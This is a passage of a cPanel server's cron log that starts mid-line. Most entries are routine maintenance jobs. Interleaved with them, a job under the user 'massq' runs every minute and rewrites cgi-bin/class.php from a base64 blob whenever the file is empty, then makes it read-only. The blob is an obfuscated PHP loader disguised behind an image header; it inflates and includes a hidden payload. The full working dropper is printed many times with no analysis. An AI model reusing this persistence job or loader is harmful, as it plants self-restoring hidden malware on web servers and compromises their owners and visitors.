UMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:18:01 server CROND[22342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:18:01 server CROND[22343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:18:01 server CROND[22344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:19:01 server CROND[22723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:19:01 server CROND[22724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:19:01 server CROND[22725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:20:01 server CROND[23346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:20:01 server CROND[23347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:20:01 server CROND[23351]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:20:01 server CROND[23352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:20:01 server CROND[23354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:20:01 server CROND[23356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:20:01 server CROND[23353]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:20:01 server CROND[23360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:20:01 server CROND[23358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:21:01 server CROND[24254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:21:01 server CROND[24256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:21:01 server CROND[24259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:22:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:22:01 server CROND[24662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:22:01 server CROND[24663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:23:01 server CROND[25030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:23:01 server CROND[25031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:23:01 server CROND[25032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:24:01 server CROND[25403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:24:01 server CROND[25404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:24:01 server CROND[25405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:25:01 server CROND[25778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:25:01 server CROND[25779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:25:01 server CROND[25782]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 08:25:01 server CROND[25784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:25:01 server CROND[25788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:25:01 server CROND[25787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:25:01 server CROND[25785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:25:01 server CROND[25786]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:26:01 server CROND[26657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:26:01 server CROND[26656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:26:01 server CROND[26658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:27:01 server CROND[27079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:27:01 server CROND[27081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:27:01 server CROND[27082]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:27:01 server CROND[27080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:28:01 server CROND[27452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:28:01 server CROND[27451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:28:01 server CROND[27453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:29:01 server CROND[27820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:29:01 server CROND[27821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:29:01 server CROND[27822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
